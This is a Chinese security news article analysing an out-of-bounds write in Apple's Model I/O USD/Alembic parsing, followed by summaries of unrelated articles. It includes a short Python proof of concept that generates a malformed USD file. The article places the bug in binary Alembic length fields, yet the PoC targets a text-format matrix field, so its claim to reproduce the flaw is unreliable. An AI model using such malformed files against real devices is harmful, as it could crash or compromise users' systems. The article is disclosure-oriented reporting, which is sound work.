AppleModelI/O再爆USD越界写入漏洞"

admin 2026-10-18 15:22:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

Apple Model I/O再爆USD越界写入漏洞

原创

Only
Only

船山信安

2026年7月10日 18:10
广东

在小说阅读器读本章

去阅读

漏洞背景

Apple又修了一个USD文件的越界写入漏洞,它的来源是Pixar搞出来的场景描述语言,3D图形和AR内容交换的工业标准。

Apple在iOS、macOS、visionOS全线产品里都内置了Model I/O框架来解析它,组件libusd\_ms是这次触发漏洞的源头。

越界写入的触发点

从ZDI的公告和Apple安全更新日志交叉来看,漏洞落在Model I/O框架处理Alembic文件的路径上。Alembic是USD生态里的一个开放交换格式,专门用来存储和传输复杂的3D场景数据,几何体、摄像机、材质、动画曲线全在里面。它的二进制存储有两种后端,Ogawa和HDF5,文件内部以层级化的OObject树组织,每个OObject带有若干Property,Property的值可以是标量也可以是变长数组。

问题就出在解析这些Property值的时候。libusd\_ms在从Alembic二进制流里读出Property的数据长度字段后,没有对这个长度做充分校验,直接用它来分配缓冲区或做memcpy。攻击者在文件里写入一个远超实际分配大小的长度值,解析器直接写入溢出预定缓冲区。

不止于双击打开

USD文件在macOS上不只是双击打开才会被解析,Quick Look预览、Spotlight索引、Finder缩略图生成,都会经过Model I/O框架。也就是说,一个恶意的.usd或.abc文件只要出现在磁盘上,用户甚至不用主动打开它,系统后台就可能已经触发了解析路径。

畸形USD文件构造

真实POC来自ipbuf.com的安全研究页面,核心思路是用Python生成一个畸形USD文件,在矩阵字段注入超大字符串。

#!/usr/bin/env python3
def generate_malicious_usd_file(filename):
    header = b'#usda 1.0\
\
'
    malicious_data = (
        b'def \"TestStage\" {\
'
        b'  token test_attr = \"test_value\"\
'
        b'  def \"Nested\" {\
'
        b'    matrix4d test_matrix = \
'
        b'    (' + b'A' * 10000 + b')\
'
        b'  }\
'
        b'}\
'
    )
    with open(filename, 'wb') as f:
        f.write(header + malicious_data)
    print(f\"[+] Malicious USD file generated: {filename}\")

if __name__ == \"__main__\":
    generate_malicious_usd_file(\"CVE-2026-20616_malicious.usd\")

矩阵字段溢出

usda是USD的文本表示格式,第一行#usda 1.0声明版本号。然后定义了一个TestStage根prim,嵌套了一个子prim Nested,里面声明了一个matrix4d类型的属性test\_matrix。正常matrix4d应该是一对括号里16个浮点数的排列,这里直接灌了10000个A字符进去。解析器在读到这个字段时,试图把这一万个字节解析进预留给矩阵的内存区域,越界就发生了。

修复时间线与补丁

ZDI研究员Michael DePlante早在2025年11月19日就报给了Apple,拖到2026年2月11日才在macOS Sonoma 14.8.4和Tahoe 26.3里修掉,整了将近三个月。Apple的修复手段很常规,改进了边界检查逻辑,确保写操作不会超出分配缓冲区的范围。

受影响版本

受影响的产品线包括iOS和iPadOS 18.7.5之前、macOS Sonoma 14.8.4之前、macOS Tahoe 26.3之前、visionOS 26.3之前的所有版本。升级到最新版即可修复。


AppleModelI/O再爆USD越界写入漏洞" 网络安全文章

AppleModelI/O再爆USD越界写入漏洞"

Apple修复了ModelI/O框架中处理Alembic文件时的越界写入漏洞(CVE-2026-20616),攻击者可通过构造恶意USD文件触发,甚至无需用户主动打开(QuickLook、Spotlight等后台解析)。漏洞由ZDI研究员报告,2025年11月报给Apple,2026年2月修复。受影响版本包括iOS/iPadOS18.7.5之前、macOSSonoma14.8.4之前等。建议升级到最新版。
突发!OpenAI直接封了阿里的账号,背后水很深" 网络安全文章

突发!OpenAI直接封了阿里的账号,背后水很深"

OpenAI近期封禁了与阿里巴巴关联的账号,原因是涉嫌利用其模型输出进行模型蒸馏,即用OpenAI模型训练自家模型。同时Google仍向中国大厂海外子公司提供AI服务,显示美国AI管制存在合规绕路空间。事件反映AI行业暗地竞争激烈,模型蒸馏和数据窃取普遍,OpenAI此举旨在保护核心技术。
美军无人海上系统的新进展:萨罗尼克公司近期动态" 网络安全文章

美军无人海上系统的新进展:萨罗尼克公司近期动态"

2026年以来,美国萨罗尼克公司在无人艇领域取得多项进展,包括掠夺者中型无人艇下水、与卡斯特利恩合作探索无人艇与高超音速导弹集成,以及海盗无人艇参与长航时演习和救援行动。这些事件表明该公司正从无人艇制造商向自主海上作战体系供应商转型,推动无人艇在军事应用中的成熟化。
红蓝对抗赛!有梦你就来!" 网络安全文章

红蓝对抗赛!有梦你就来!"

中国电信安全运营保障部发布红蓝对抗赛活动通知,鼓励有梦想的参与者报名。文章包含活动宣传图片和推荐阅读链接,旨在吸引网络安全人才参与实战对抗演练,提升安全技能。
评论:0   参与:  0